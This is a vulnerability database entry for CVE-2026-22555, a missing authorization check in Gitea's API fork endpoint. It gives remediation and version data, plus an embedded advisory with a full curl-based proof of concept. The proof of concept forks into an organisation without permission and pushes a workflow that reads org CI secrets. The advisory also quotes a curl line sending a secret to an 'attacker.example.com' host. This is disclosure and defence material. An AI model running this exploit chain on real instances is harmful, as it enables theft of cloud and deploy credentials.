CVE-2026-22555: Gitea API Fork Missing CanCreateOrgRepo Check Vulnerability
HIGHCVE-2026-22555 is a HIGH (CVSS 8.1) api fork missing cancreateorgrepo check vulnerability (CWE-863: Incorrect Authorization) affecting Gitea libraries in the Go ecosystem. The issue involves api fork missing cancreateorgrepo check allows org secret exfiltration. Remediation is available by upgrading affected packages to version 1.26.0.
CVE-2026-22555 at a Glance
Security Impact
CVSS: 8.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).
How to Fix CVE-2026-22555
To remediate this vulnerability, upgrade all affected Gitea dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade code.gitea.io/gitea to 1.26.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for code.gitea.io/gitea
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-22555, inspect your project dependencies for Gitea:
inspect dependencies for code.gitea.io/gitea
Analyze the terminal output to locate any version of Gitea in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.26.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-863: Incorrect Authorization, where the product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. In Gitea, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-22555 Affected Gitea Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
code.gitea.io/gitea
|
Go |
< 1.26.0
|
1.26.0
|
References
Frequently Asked Questions
What is CVE-2026-22555?
Which Gitea versions are affected?
What version fixes CVE-2026-22555?
Is code.gitea.io/gitea affected?
What is the CVSS score of CVE-2026-22555?
What CWE is associated with CVE-2026-22555?
How can I check Go dependencies for CVE-2026-22555?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-fhx7-m96w-mv29",
"modified" : "2026-06-17T18:08:00Z",
"published" : "2026-06-17T18:08:00Z",
"aliases" : [ "CVE-2026-22555" ],
"summary" : "Gitea: API Fork Missing CanCreateOrgRepo Check Allows Org Secret Exfiltration",
"details" : "## Summary\n\nThe API endpoint `POST /api/v1/repos/{owner}/{repo}/forks` only checks `IsOrgMember()` when a user forks a repository into an organization, but does not check `CanCreateOrgRepo()`. The web UI fork handler correctly checks both. This allows a read-only organization member — in a team with `can_create_org_repo=false` — to create repositories in the organization namespace via the API. The attacker receives full admin permissions on the forked repository, can enable Actions, push arbitrary workflow files, and exfiltrate all organization-level CI/CD secrets (deploy keys, cloud credentials, API tokens) through the runner infrastructure.\n\n## Steps To Reproduce\n\n### 1. Environment setup\n\nStart a Gitea instance with Actions enabled:\n\n```bash\n# docker-compose.yml\ncat > docker-compose.yml << 'EOF'\nversion: '3'\nservices:\n gitea:\n image: gitea/gitea:1.23\n container_name: gitea-poc\n ports:\n - \"3000:3000\"\n volumes:\n - gitea-data:/data\n environment:\n - GITEA__database__DB_TYPE=sqlite3\n - GITEA__server__ROOT_URL=http://localhost:3000/\n - GITEA__security__INSTALL_LOCK=true\n - GITEA__actions__ENABLED=true\nvolumes:\n gitea-data:\nEOF\n\ndocker compose up -d\n# Wait for startup\nsleep 15\n\n# Create admin user\ndocker exec -u git gitea-poc gitea admin user create \\\n --admin --username admin --password 'Admin1234!' \\\n --email admin@example.com --must-change-password=false\n```\n\n### 2. Create the target environment (as admin)\n\n```bash\n# Get admin token\nADMIN_TOKEN=$(curl -s -X POST \"http://localhost:3000/api/v1/users/admin/tokens\" \\\n -u \"admin:Admin1234!\" -H \"Content-Type: application/json\" \\\n -d '{\"name\": \"setup\", \"scopes\": [\"all\"]}' | python3 -c \"import sys,json; print(json.load(sys.stdin)['sha1'])\")\n\n# Create attacker user\ncurl -s -X POST \"http://localhost:3000/api/v1/admin/users\" \\\n -H \"Authorization: token $ADMIN_TOKEN\" -H \"Content-Type: application/json\" \\\n -d '{\"username\":\"attacker\",\"password\":\"Attacker123!\",\"email\":\"attacker@example.com\",\"must_change_password\":false}'\n\n# Create organization\ncurl -s -X POST \"http://localhost:3000/api/v1/orgs\" \\\n -H \"Authorization: token $ADMIN_TOKEN\" -H \"Content-Type: application/json\" \\\n -d '{\"username\":\"target-org\",\"visibility\":\"public\"}'\n\n# Create a source repository in the org\ncurl -s -X POST \"http://localhost:3000/api/v1/orgs/target-org/repos\" \\\n -H \"Authorization: token $ADMIN_TOKEN\" -H \"Content-Type: application/json\" \\\n -d '{\"name\":\"source-repo\",\"auto_init\":true}'\n\n# Create a read-only team with can_create_org_repo=false\nTEAM_ID=$(curl -s -X POST \"http://localhost:3000/api/v1/orgs/target-org/teams\" \\\n -H \"Authorization: token $ADMIN_TOKEN\" -H \"Content-Type: application/json\" \\\n -d '{\"name\":\"readonly-team\",\"permission\":\"read\",\"can_create_org_repo\":false,\"units\":[\"repo.code\",\"repo.issues\"]}' \\\n | python3 -c \"import sys,json; print(json.load(sys.stdin)['id'])\")\n\n# Add attacker to the read-only team\ncurl -s -X PUT \"http://localhost:3000/api/v1/teams/$TEAM_ID/members/attacker\" \\\n -H \"Authorization: token $ADMIN_TOKEN\"\n\n# Add source-repo to the team so attacker can read it\ncurl -s -X PUT \"http://localhost:3000/api/v1/teams/$TEAM_ID/repos/target-org/source-repo\" \\\n -H \"Authorization: token $ADMIN_TOKEN\"\n\n# Create organization secrets (simulating real CI/CD credentials)\ncurl -s -X PUT \"http://localhost:3000/api/v1/orgs/target-org/actions/secrets/DEPLOY_KEY\" \\\n -H \"Authorization: token $ADMIN_TOKEN\" -H \"Content-Type: application/json\" \\\n -d '{\"data\":\"sk-live-test-deploy-key-1234567890abcd\"}'\n\ncurl -s -X PUT \"http://localhost:3000/api/v1/orgs/target-org/actions/secrets/AWS_ACCESS_KEY\" \\\n -H \"Authorization: token $ADMIN_TOKEN\" -H \"Content-Type: application/json\" \\\n -d '{\"data\":\"AKIAIOSFODNN7EXAMPLE\"}'\n\ncurl -s -X PUT \"http://localhost:3000/api/v1/orgs/target-org/actions/secrets/AWS_SECRET_KEY\" \\\n -H \"Authorization: token $ADMIN_TOKEN\" -H \"Content-Type: application/json\" \\\n -d '{\"data\":\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"}'\n```\n\n### 3. Register an Actions runner\n\n```bash\n# Get runner registration token\nREG_TOKEN=$(docker exec -u git gitea-poc gitea actions generate-runner-token)\n\n# Start act_runner (adjust network name if needed)\nNETWORK=$(docker inspect gitea-poc --format '{{range $key, $val := .NetworkSettings.Networks}}{{$key}}{{end}}')\ndocker run -d --name act-runner --network \"$NETWORK\" \\\n -e GITEA_INSTANCE_URL=http://gitea-poc:3000 \\\n -e GITEA_RUNNER_REGISTRATION_TOKEN=\"$REG_TOKEN\" \\\n -e GITEA_RUNNER_LABELS=ubuntu-latest:docker://node:20-bookworm \\\n -v /var/run/docker.sock:/var/run/docker.sock \\\n gitea/act_runner:latest\n\n# Wait for runner registration\nsleep 15\n```\n\n### 4. Verify attacker CANNOT create repos in the org (expected: 403)\n\n```bash\n# Get attacker token\nATTACKER_TOKEN=$(curl -s -X POST \"http://localhost:3000/api/v1/users/attacker/tokens\" \\\n -u \"attacker:Attacker123!\" -H \"Content-Type: application/json\" \\\n -d '{\"name\": \"poc\", \"scopes\": [\"all\"]}' | python3 -c \"import sys,json; print(json.load(sys.stdin)['sha1'])\")\n\n# Try creating a repo directly — should fail\ncurl -s -o /dev/null -w \"Direct repo creation: HTTP %{http_code}\\n\" \\\n -X POST \"http://localhost:3000/api/v1/orgs/target-org/repos\" \\\n -H \"Authorization: token $ATTACKER_TOKEN\" -H \"Content-Type: application/json\" \\\n -d '{\"name\":\"should-fail\",\"auto_init\":true}'\n# Expected output: Direct repo creation: HTTP 403\n\n# Verify attacker cannot access org secrets via API\ncurl -s -o /dev/null -w \"Access org secrets: HTTP %{http_code}\\n\" \\\n \"http://localhost:3000/api/v1/orgs/target-org/actions/secrets\" \\\n -H \"Authorization: token $ATTACKER_TOKEN\"\n# Expected output: Access org secrets: HTTP 403\n```\n\n### 5. Exploit: Fork into the org via API (THE BYPASS)\n\n```bash\n# Fork the source repo into the org — this should also fail but doesn't\nFORK_RESULT=$(curl -s -X POST \\\n \"http://localhost:3000/api/v1/repos/target-org/source-repo/forks\" \\\n -H \"Authorization: token $ATTACKER_TOKEN\" -H \"Content-Type: application/json\" \\\n -d '{\"organization\":\"target-org\",\"name\":\"evil-fork\"}')\n\necho \"$FORK_RESULT\" | python3 -c \"\nimport sys,json\nd = json.load(sys.stdin)\nprint(f'Fork created: {d[\\\"full_name\\\"]}')\nprint(f'Permissions: admin={d[\\\"permissions\\\"][\\\"admin\\\"]}, push={d[\\\"permissions\\\"][\\\"push\\\"]}')\n\"\n# Expected output:\n# Fork created: target-org/evil-fork\n# Permissions: admin=True, push=True\n```\n\nThe attacker now has admin+push access to an org-owned repository, despite being in a team with `can_create_org_repo=false`.\n\n### 6. Enable Actions and push exfiltration workflow\n\n```bash\n# Enable Actions on the fork\ncurl -s -X PATCH \"http://localhost:3000/api/v1/repos/target-org/evil-fork\" \\\n -H \"Authorization: token $ATTACKER_TOKEN\" -H \"Content-Type: application/json\" \\\n -d '{\"has_actions\":true}'\n\n# Push a workflow that references org secrets\nWORKFLOW=$(cat << 'WFEOF'\nname: exfiltrate\non: [push]\njobs:\n steal:\n runs-on: ubuntu-latest\n steps:\n - name: Leak org secrets\n env:\n DEPLOY_KEY: ${{ secrets.DEPLOY_KEY }}\n AWS_ACCESS_KEY: ${{ secrets.AWS_ACCESS_KEY }}\n AWS_SECRET_KEY: ${{ secrets.AWS_SECRET_KEY }}\n run: |\n echo \"=== SECRET EXFILTRATION ===\"\n echo \"DEPLOY_KEY length: ${#DEPLOY_KEY}\"\n echo \"AWS_ACCESS_KEY length: ${#AWS_ACCESS_KEY}\"\n echo \"AWS_SECRET_KEY length: ${#AWS_SECRET_KEY}\"\n echo \"DEPLOY_KEY prefix: ${DEPLOY_KEY:0:4}...\"\n echo \"AWS_ACCESS_KEY prefix: ${AWS_ACCESS_KEY:0:4}...\"\n echo \"AWS_SECRET_KEY prefix: ${AWS_SECRET_KEY:0:4}...\"\n echo \"=== END EXFILTRATION ===\"\nWFEOF\n)\n\ncurl -s -X POST \\\n \"http://localhost:3000/api/v1/repos/target-org/evil-fork/contents/.gitea/workflows/steal.yml\" \\\n -H \"Authorization: token $ATTACKER_TOKEN\" -H \"Content-Type: application/json\" \\\n -d \"{\\\"content\\\":\\\"$(echo -n \"$WORKFLOW\" | base64 -w0)\\\",\\\"message\\\":\\\"add CI\\\"}\"\n```\n\n### 7. Verify secret exfiltration\n\n```bash\n# Wait for the runner to execute the workflow (60-120 seconds)\nsleep 90\n\n# Check the Actions run page in browser or via API:\necho \"View results at: http://localhost:3000/target-org/evil-fork/actions\"\n```\n\nExpected output in the workflow logs:\n```\n=== SECRET EXFILTRATION ===\nDEPLOY_KEY length: 37\nAWS_ACCESS_KEY length: 20\nAWS_SECRET_KEY length: 40\nDEPLOY_KEY prefix: sk-l...\nAWS_ACCESS_KEY prefix: AKIA...\nAWS_SECRET_KEY prefix: wJal...\n=== END EXFILTRATION ===\n```\n\nAll three organization-level secrets are accessible to the attacker's workflow. In a real attack, the workflow would exfiltrate secrets to an attacker-controlled endpoint (e.g., `curl -d \"$SECRET\" https://attacker.example.com/collect`).\n\n## Impact\n\nA read-only organization member — with no repository creation rights (`can_create_org_repo=false`) — can exfiltrate all organization-level CI/CD secrets by exploiting a missing authorization check in the API fork endpoint. The web UI correctly enforces the `CanCreateOrgRepo` permission, but the API does not, creating a classic API-vs-web authorization inconsistency.\n\nThe attack chain is: (1) fork an existing org repo back into the same org via the API, bypassing the `CanCreateOrgRepo` check; (2) receive admin permissions on the fork as its creator; (3) enable Actions and push a workflow that references org secrets; (4) the org's runner picks up the job (runners match on `repository.owner_id`), and org secrets are injected into the workflow environment (fetched by `Repo.OwnerID`); (5) the workflow exfiltrates all org secrets.\n\nOrganization secrets commonly include deploy keys, cloud credentials (AWS IAM keys, GCP service accounts), container registry tokens, and personal access tokens with broad scope. Stolen credentials enable lateral movement to cloud infrastructure, private repositories, and external services far beyond the Gitea instance itself. The attacker can also push arbitrary code under the organization's trusted namespace, creating supply chain risk for downstream consumers.\n\nThis is particularly dangerous because organizations commonly use read-only teams for auditors, reviewers, contractors, or new employees — precisely the users who should NOT have access to production secrets.\n\n\n## Supporting Material/References\n\n * **poc-fork-authz-bypass.zip** — ZIP archive containing the full exploit script and README\n * Vulnerable code — API fork handler (missing `CanCreateOrgRepo` check):\n https://github.com/go-gitea/gitea/blob/79f96b3e24/routers/api/v1/repo/fork.go#L135-L144\n * Correct code — Web fork handler (has `CanCreateOrgRepo` check):\n https://github.com/go-gitea/gitea/blob/79f96b3e24/routers/web/repo/fork.go#L181-L189\n * Runner task assignment (matches on `owner_id`):\n https://github.com/go-gitea/gitea/blob/79f96b3e24/models/actions/task.go#L245-L248\n * Secret injection (fetches by `Repo.OwnerID`):\n https://github.com/go-gitea/gitea/blob/79f96b3e24/models/secret/secret.go#L167\n * Fork creator gets admin permissions:\n https://github.com/go-gitea/gitea/blob/79f96b3e24/services/repository/create.go#L433-L440\n * Related fix: PR #34031 fixed a similar bypass via repo transfers, confirming this class of authorization inconsistency is treated as a vulnerability\n * OWASP API Security Top 10 2023: API5 — Broken Function Level Authorization\n * OWASP Top 10 2021: A01 — Broken Access Control\n\n\n[poc-fork-authz-bypass.zip](https://github.com/user-attachments/files/26129318/poc-fork-authz-bypass.zip)",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "code.gitea.io/gitea"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.26.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/go-gitea/gitea/security/advisories/GHSA-fhx7-m96w-mv29"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/go-gitea/gitea"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-863" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-06-17T18:08:00Z",
"nvd_published_at" : null
}
}